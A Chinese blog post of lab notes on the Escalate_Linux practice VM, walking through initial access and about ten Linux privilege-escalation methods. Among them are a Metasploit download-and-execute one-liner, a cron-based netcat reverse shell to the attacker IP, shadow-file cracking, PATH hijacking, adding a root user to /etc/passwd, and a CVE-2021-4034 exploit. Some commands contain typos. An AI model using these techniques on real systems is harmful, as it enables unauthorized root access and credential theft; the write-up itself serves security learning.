以escalate靶机为例学习linux的提权方式-linux提权学习笔记（1）

最新推荐文章于 2024-05-07 21:18:45 发布
最新推荐文章于 2024-05-07 21:18:45 发布
阅读量2.9k 收藏 7
点赞数
分类专栏： web安全自学笔记 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zr1213159840/article/details/125136212
版权

本博客配合以下视频效果更佳。啊B叔叔的，请自行按照关键词搜索。
在这里插入图片描述

escalate靶机是一个可以用于学习linux提权的靶机，下载下来后，可以使用vmware直接打开。下载地址如下：在这里插入图片描述
下载后打开，将主机的网络设置为仅主机模式。同时虚拟机的kali攻击机也设置为仅主机模式。
最后的两台主机配置如下：

kali            192.168.80.130
escalate靶机     192.168.80.129

提权前准备

因为我们的主要目的是学习提权，因此前面的步骤我们简单写一下。
先用masscan能发现存在80等等端口开放，但是没挖掘出更多的信息，因此使用dirsearch爆破一下目录，发现存在一个shell.php。（还有index.html，就是主界面）

192.168.80.129/shell.php

访问后，出现一个提示，说将cmd作为一个参数传参。
在这里插入图片描述
既然可以传参，那么我们直接测试一下看能不能命令执行，结果发现能执行命令。

192.168.80.129/shell.php?cmd=id

在这里插入图片描述
既然如此，那么我们传递一个shell上去。打开msf，然后使用multi/script/web_delivery模块来生成。

use exploit/multi/script/web_delibery
set SRVHOST 192.168.80.130
set LHOST 192.168.80.130
run

在这里插入图片描述

一旦运行，会生成一段python代码，我们将其使用url编码后，作为cmd的参数，回车，可以拿到远程的meterpreter。

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.80.130:8080/FKxRz4C', context=ssl._create_unverified_context());exec(r.read());"

在这里插入图片描述
在这里插入图片描述
拿到靶机的meterpreter
在这里插入图片描述

提权方式1：SUID提权

SUID的提权原理可以参考这个博客
https://blog.csdn.net/weixin_39430198/article/details/123504153
接下来我们实操，在获取到meterpreter后，输入shell拿到shell，然后使用以下命令查找存在SUID权限的文件

find / -user root -perm -4000 -type f 2>/dev/null

发现存在一个user3用户的shell文件，可以利用起来
在这里插入图片描述
tips：上一步中，如果要直接显示文件的权限，可以使用以下命令

find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;

进入目录，直接执行，拿到权限

cd /home/user3
./shell

在这里插入图片描述
SUID文件在执行的时候以属主的身份执行，因此拿到了root的权限，若是对一些特殊命令设置了SUID，那么就会有被利用提权的可能性，常用的SUID提权命令有nmap，vim，find，bash，more，less，nano以及cp等等。

提权方式2：环境变量劫持提权

简单来说就是SUID文件的权限高，而它去调用其他命令时，我们劫持了这个命令，并且这个命令的内容是/bin/bash，这样就相当于使用root权限运行了命令，拿到了高权限的shell。
我们看下实操。
首先是在user5的用户下面发现了SUID文件，执行这个SUID文件，发现其命令类似于ls命令，那好了，我们也创建一个ls命令，但是这个ls执行的内容是/bin/bash，从而我们拿到了高权限的shell。

cd /home/user5
ls
./script
echo $PATH
echo "/bin/bash" > tmp/ls
export PATH=/tmp:$PATH 
echo $PATH  
chmod 755 /tmp/ls
./script

在这里插入图片描述

提权方式3：破解/etc/shadow文件提权

这种方式就是爆破root用户的密码。具体操作如下。
通过前面可知，我们能够通过命令劫持来拿到最高权限，那么我们也可以劫持命令，去读取/etc/shadow文件。

echo 'cat /etc/shadow' >/tmp/ls
./script

在这里插入图片描述
接着复制root用户的账户和密码，并且保存为hash.txt

echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt

使用john爆破

john hash.txt

在这里插入图片描述

提权方式4：修改sudoers文件中的用户密码提权

还是使用前面的SUID文件，读取/etc/sudoers文件

echo 'cat /etc/suoders >/tmp/ls
./script

在这里插入图片描述
发现user1有戏，那么好，继续用SUID来修改user1的密码

echo 'echo "user1:pi1grim" | chpasswd' >/tmp/ls
./script
su user1

在这里插入图片描述

提权方式5：使用定计划任务提权crontab

计划任务就是定时任务，一般运维会采用脚本去定时执行，但是如果权限配置不当的话，就会存在一些问题。
在开始介绍提权方式之前，先介绍下crontab，crontab是linux的计划任务，启动后的服务时crond，配置文件为/etc/crontab，可以通过配置文件定期执行程序或者命令。或者直接使用crontab命令也可以。
具体关于crontab命令的解析，可以参考这个链接
在这里插入图片描述
重复前期准备工作，拿到shell。通过以下命令，我们能得出user4存在一个定时任务，并且是每五分钟用root权限执行一次。

cat /etc/crontab

在这里插入图片描述
既然是在user4的目录下面，我们就需要进入user4的目录，但是我们没有user4的权限，因此我们可以通过前面提权方式4中的sudoers修改用户的密码。
首先将以下内容输入至ls文件中，并且劫持一下环境变量

 echo 'echo "user4:xiaoxiao" | chpasswd ' >/tmp/ls
 export PATH=/tmp/:$PATH

在这里插入图片描述
接着赋予权限

chmod +x /tmp/ls

在这里插入图片描述
此时我们具备了编辑定时任务的权限。一个简单而且直接的办法是使用nc直接反弹shell至本机，但是经过测试后发现不行。使用msfvenom生成的反弹shell可以。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.80.130 lport=8888

生成内容如下：

mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr

在这里插入图片描述

将这个内容写入定时任务

echo 'mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr' > autoscript.sh

然后本地使用nc监听一下8888端口，即可拿到root的shell。

nc -lnvp 8888

在这里插入图片描述

提权方式6：利用sudo提权

上一步完成后，重新进入user6账户，然后使用以下命令查看sudoers文件信息。

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

在这里插入图片描述
注意看sudoers文件中的user8用户，其可以通过root身份运行vi。这给提权创造了空间。为什么呢？因为vi存在交互模式，即可以在vi中运行命令。
在提权之前，我们要先进入user8用户

echo 'echo "user8:xiao" | chpasswd' >/tnp/ls
/home/user5/script
su user8

在这里插入图片描述
查看一下授权列表

sudo -l

在这里插入图片描述
打开vi，使用sudo的原因就是用root权限来执行

sudo vi

在这里插入图片描述
在vi中输入以下命令，启用root权限的终端

:!/bin/bash

在这里插入图片描述
在这里插入图片描述
成功拿到root权限。

注意：在拿到root权限后，想要退出当前终端可以使用exit命令退出，会重新回到vi界面中去，回到vi界面后，重新按照vi命令退出即可。

tips：上述演示是通过vi来获取root权限，其他要注意的命令包含find，less，more，git等等，在使用visudoers配置后，都会被利用来提权，比如使用

ls /etc | sudo more

然后输入

:!/bin/bash

也一样可以拿到root权限
在这里插入图片描述
如下这个例子是当find被授权后，利用find提权，在找到f1文件后，执行shell。
在这里插入图片描述

提权方法7：利用超级用户提权

还是在user6账户下，通过读取sudoers文件来查看用户权限情况

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

发现其中的user2有user1用户的权限，而user1又是root用户的权限，好了，这下也可以提权
在这里插入图片描述
同样的，我们需要继续劫持变量来修改user1和user2的密码

echo 'echo "user1:xiao" | chpasswd' >/tmp/ls 
/home/user5/script
echo 'echo "user2:xiao" | chpasswd' >/tmp/ls
/home/user5/script 
su user2

在这里插入图片描述
然后使用以下命令提权成功

sudo -u user1 sudo su

这条命令的含义是user2以user1的权限执行sudo su。
在这里插入图片描述

提权方法9：利用/etc/passwd具有写入权限进行提权

思路：写入一个超级用户（uid为0的用户）进行提权
首先查看passwd文件的权限，发现属组对passwd文件有读写权限，这是不正确的配置。

/bin/ls -l /etc/passwd

在这里插入图片描述
读取passwd文件发现user7属于root组。

cat /etc/passwd

在这里插入图片描述
我们可以编辑passwd文件，而passwd文件可以添加用户，那么我们就可以生成信息，然后添加到passwd文件中即可。
首选要拿到user7的权限，与前面几个方法相同，劫持变量来添加密码

echo 'echo "user7:xiao" | chpasswd' >/tmp/ls 
/home/user5/script
su user7

passwd文件的含义如下：

user7:x:1006:0:user7,,,:/home/user7:/bin/bash
用户名：用户密码（x表示存储在shadow文件中）：用户ID：组ID：用户描述：家目录：用户shell

理论上，我们可以编辑以下一行添加test超级用户

test:123456:0:0:root/root:/bin/bash

但是其实不可以，因为不可以存储明文的密码，需要使用openssl来生成。

openssl passwd -1 -salt test 123456

在这里插入图片描述
组装成passwd文件的样子

test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash

追加至passwd文件

echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash' >>/etc/passwd

登录test用户，获取root权限

在这里插入图片描述

提权方法9：利用mysql提权(视频中没有提权成功，只提供了间接的思路)

通过查看本地开放的端口，发现存在一个mysql的服务

netstat -tnlp

在这里插入图片描述
测试mysql的密码，发现存在弱口令root

mysql -uroot -p
root

在这里插入图片描述
通过在user数据库中的user_info表中，找到了一个用户名mysql和密码mysql@12345。
在这里插入图片描述
同时发现靶机里面也存在一个mysql用户

id mysql

在这里插入图片描述
尝试使用上述账号密码登录，发现能成功登录

su mysql

在这里插入图片描述
在/var/mysql找到了mysql用户的敏感文件

cd /var/mysql
ls -alh

在这里插入图片描述
赋予权限后，发现了各个用户的密码

chmod 664 .user_informations
cat .user_informations

在这里插入图片描述
同时在/etc/mysql/secret.cnf发现了root的密码（其实不能登录）

cat /etc/mysql/secret.cnf

在这里插入图片描述

提权方式10：利用NFS提权

原理的简单解释：由于nfs一般是共享时使用的，因此存在登录的权限问题，在/etc/exports配置文件中，一般会出现两个配置选项，分别是no_root_squash和root_squash，Root Squashing（root_sqaush）参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”，它具有最少的本地特权。如果 no_root_squash 选项开启的话”，并为远程用户授予root用户对所连接系统的访问权限。相信大家读到这个地方看出我们能利用的地方。
靶机中的/etc/exports配置信息

cat /etc/exports

在这里插入图片描述
靶机中配置的最后一行出现了任意用户都有读写权限，而且是no_root_squash（注意，一定是这个选项才能提权）。
在攻击机查询靶机的nfs挂载信息

showmount -e 192.168.80.129

在这里插入图片描述
新建一个文件夹，并将靶机的文件夹挂载过来

mkdir nfs
mount -t nfs 192.168.80.129:/home/user5 /tmp/ls

在这里插入图片描述
访问挂载的文件夹，发现文件同步过来了
在这里插入图片描述
将攻击机的shell复制到这个文件夹中，那么就会在靶机上也有一个shell了

cp /usr/bin/sh .
chmod u+sx sh

在这里插入图片描述
在靶机上能看到存在的sh
在这里插入图片描述
使用-p选项执行sh，成功拿到root权限

/home/user5/sh -p

在这里插入图片描述

提权方式11：利用cve-2021-4034提权

具体的原理可以百度，涉及到二进制相关的，我也不太懂。后面讲如何利用。
可以通过以下链接获取到利用的脚本。
在这里插入图片描述
下载下来后上传到kali，然后启用一个http服务器，上传至靶机，然后解压
在这里插入图片描述
进入文件夹，make编译，然后执行./cve-2021-4034.sh

cd cve-2021-4034-mian
make
./cve-2021-4034.sh

等了很久，成功
在这里插入图片描述

铁锤2号
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
HTB靶场系列 linux靶机 靶机cronos
m0_57221101的博客
01-19 1723
勘探 基本操作先用nmap扫一下 nmap 10.10.10.13 Starting Nmap 7.80 (https://nmap.org) at 2020-04-07 21:01 EDT Nmap scan report for 10.10.10.13 Host is up (0.014s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain ..
DC-3靶机—linux内核提权
negnegil的博客
06-07 520
（闲话，vm挺好，但占用内存大且有时候莫名其妙的工具连不上网络. vbox挺轻便的，但是增强设备也安装不上去，文件和主机无法互通，难道一个后门木马我手打？） 靶场：DC-3 下载地址：https://www.five86.com/dc-3.html 先扫描以下局域网内存货主机： arp-scan -l 端口： nmap -A -p- 192.168.1.101 发现只开放了80端口，访问试试： 作者提醒我们这个靶机只有一个flag和一个进入点，没有线索提示 我们发现nmap扫描出此站点是由joom
Escalate_Linux靶机提权渗透测试
末班车的博客
03-10 684
使用Escalate_Linux靶机，学习多种提权方法
【漏洞复现】利用CVE-2021-4034对Linux提权
最新发布
weixin_46022776的博客
05-07 274
CVE-2021-4034存在于Polkit的pkexec中，pkexec是一个类似sudo的SUID root程序，允许授权用户作为其它用户执行程序，如未指定程序则运行默认shell，如果未指定用户名，则将作为管理员用户root执行。该漏洞自2009年5月起便已经存在，受影响的Linux发行版包括Ubuntu、Debian、Fedora、CentOS等。
【靶机渗透】Escalate_Linux靶机渗透练习+12种提权方式
serendipity1130的博客
08-31 4185
注：这个靶机主要用来练习Linux提权，有超过12种的提权方法 1.主机发现：arp-scan -l，发现靶机ip为192.168.225.149，并进行访问 2.扫描端口，开启了80，22端口 nmap -n -p- -A 192.168.225.149 -o escalate.nmap 3.发现是默认的apache页面，那么爆破php后缀的路径，发现shell.php的页面，进行访问： dirb http://192.168.225.149 -X .php 4.提示：
raven靶机实战(linux-udf提权)-vuluhub系列(四)
PANDA墨森的博客
06-28 951
这是vulnhub靶机系列文章的第四篇，本次的靶机感觉还是挺有趣的，学到的重要知识点为linux下-mysql的udf提权以及某cms的漏洞getshell，开始吧... 靶机下载链接：https://download.vulnhub.com/raven/Raven2.ova 原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13189038.html #001 环境搭建（nat） 攻击机kali：192.168.136.129 靶机Raven2：192.168.
[VulnHub靶机]Lin.Security_linux提权
qq_45927819的博客
03-15 2170
靶机描述 在in.security，我们希望开发一个Linux虚拟机，该虚拟机在编写本文时基于最新的Ubuntu发行版（18.04 LTS），但存在许多漏洞，这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务（如果配置错误）可能会被攻击者滥用。 首先，您可以使用以下凭据登录主机：bob / secret 下载地址：https://in.security/downloads/lin.security_v1.0.ova 靶机IP：192.168.56.106 直接ssh连接： ssh bob
No.40-VulnHub-Escalate_Linux: 1-Walkthrough渗透学习
qq_34801745的博客
02-02 1645
** VulnHub-Escalate_Linux: 1-Walkthrough ** 靶机地址：https://www.vulnhub.com/entry/escalate_linux-1,323/ 靶机难度：中级（CTF） 靶机发布日期：2019年6月30日 靶机描述： Escalate_Linux-一种有意开发的易受攻击的Linux虚拟机。该计算机的主要重点是学习Linux Post Exp...
Kali Linux Intrusion and Exploitation Cookbook
04-26
Kali Linux Intrusion and Exploitation Cookbook by Dhruv Shah English | 21 Apr. 2017 | ASIN: B071V5BWYZ | 512 Pages | AZW3 | 37.35 MB Over 70 recipes for system administrators or DevOps to master Kali...
ansible-raspberry-docker:Ansible角色，在Raspberry Pi OS上管理Docker CE
03-18
请参阅以获取可以覆盖的变量的完整列表。 依存关系 该角色依赖于以下依赖关系： 角色： 集合： 剧本范例 - hosts: all roles: - role: escalate.raspberry_docker tags: docker 执照 麻省理工学院
渗透测试新手练习及高手深入挖掘专用Linux及Windows靶机（官方原版镜像）
05-08
本人学习时使用的的这两个系统，常见的高风险漏洞较多，容易利用，适合新手练习。 metasploitable-linux为常用的Linux靶机，系统包含了很多高风险漏洞、弱口令及容易利用的端口、服务，是渗透测试初学者练习技术的不二之选。 Windows_xp_pro_with_sp2就更不用说了，都被人挖烂了，sp2版本相比sp3更简单一些，适合新手练习。
ansible-ha-bridge-docker:在Raspbian和Debian OS上使用systemd管理ha-bridge Docker容器
05-11
安装$ ansible-galaxy install escalate.ha-bridge-docker角色变量请参阅以获取可以覆盖的变量的完整列表。依存关系没有任何剧本范例- hosts: all roles: - escalate.ha-bridge-docker执照麻省理工学院
ansible-raspberry-systemd-timesyncd:Ansible角色，在Raspberry Pi OS上管理systemd-timesyncd
03-19
请参阅以获取可以覆盖的变量的完整列表。 依存关系 该角色依赖于以下依赖关系： 角色：无 集合： 剧本范例 - hosts: all roles: - role: escalate.timesyncd tags: timesyncd 执照 麻省理工学院
记录一次VulnHub 靶场——Escalate_Linux的渗透测试过程
旺仔Sec&blog
03-07 875
SUID 权限通常用于需要以特定用户权限执行的程序，比如一些系统命令或管理工具。例如，passwd 命令通常具有 SUID 权限，因为它需要修改系统密码文件，这是普通用户无法直接操作的。通过 SUID 权限，普通用户可以执行 passwd 命令来修改自己的密码，而无需获取 root 权限。然而，SUID 权限也带来了安全风险，因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此，系统管理员需要谨慎地管理具有 SUID 权限的程序，并确保它们没有潜在的安全漏洞。
HTB靶场系列 linux靶机 Tartarsause靶机
顶峰
12-14 319
2.在分享的文件夹中创建一个回连shell脚本命名为wp-load.php，我使用的是/usr/share/webshells/php/php-reverse-shell.php这个msf的脚本，注意修改脚本内的host和port。那么我们的思路就有了，就是在上述脚本完成备份后休息的那三十秒，我们打开备份，修改其中的某个文件为/root/root.txt然后再把这个备份重新压缩好，把原来的备份删掉，之后打开错误报告查看root文件就是了。注意，端口改自己脚本中的端口，地址的端口最后必须加/
Escalate_Linux靶机详解（1）
苏生要努力
02-21 543
name=xiao&pwd=123456如果你的value字符串中包含了=或者&，那么势必会造成接收U川的服务器解析错误，因此必须将引起歧义的&和=符号进行转义，也就是对其进行编码。背景：目标系统存在远程文件包含漏洞或者命令注入漏洞，想在目标设备上加载webshell,. 但不想在目标设备硬盘上留下任何webshell文件信息 (2)利用nc或python的方法反弹shell不好使用 解决思路：让目标设备从远端服务器加载webshell代码至内存执行。获得meterpreter。使用BP进行url编码。
Raven2--靶机渗透--MysqlUDF提权--linux提权
z2560088的博客
02-17 3081
信息搜集 nmap扫描端口和ip 发现80端口，用dirsearch扫描目录 扫描到了vendor和wordpress目录以及contact.php页面 随便看看，找到一个flag，并发现搭建了PHPMail 之前爆出过phpmail的漏洞，我们用kali的searchexploit搜索一下 再根据vender/version文件得知版本号为 开头添加这个 防止乱码 #!/usr/bin/python # -*- coding: utf-8 -*- ...
linux提权思路总结
weixin_43199413的博客
07-20 1339
linux提权思路总结 前言 说到提权，首先需要获得网站的webshell权限，再说提权的操作。 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。 黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。 webshell就是网站管理员，只有站长才可以提升你的权限。 除非你用不正当手法入侵网
linux CVE-2016-2183)
08-25
CVE-2016-2183 is a vulnerability that was found in the Linux kernel. This vulnerability allows local users to gain root privileges by leveraging a race condition in the keyring implementation. By exploiting this vulnerability, an attacker can escalate their privileges and gain unauthorized access to the system. It is recommended to apply the relevant patches or updates provided by the Linux distribution to mitigate this vulnerability.
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值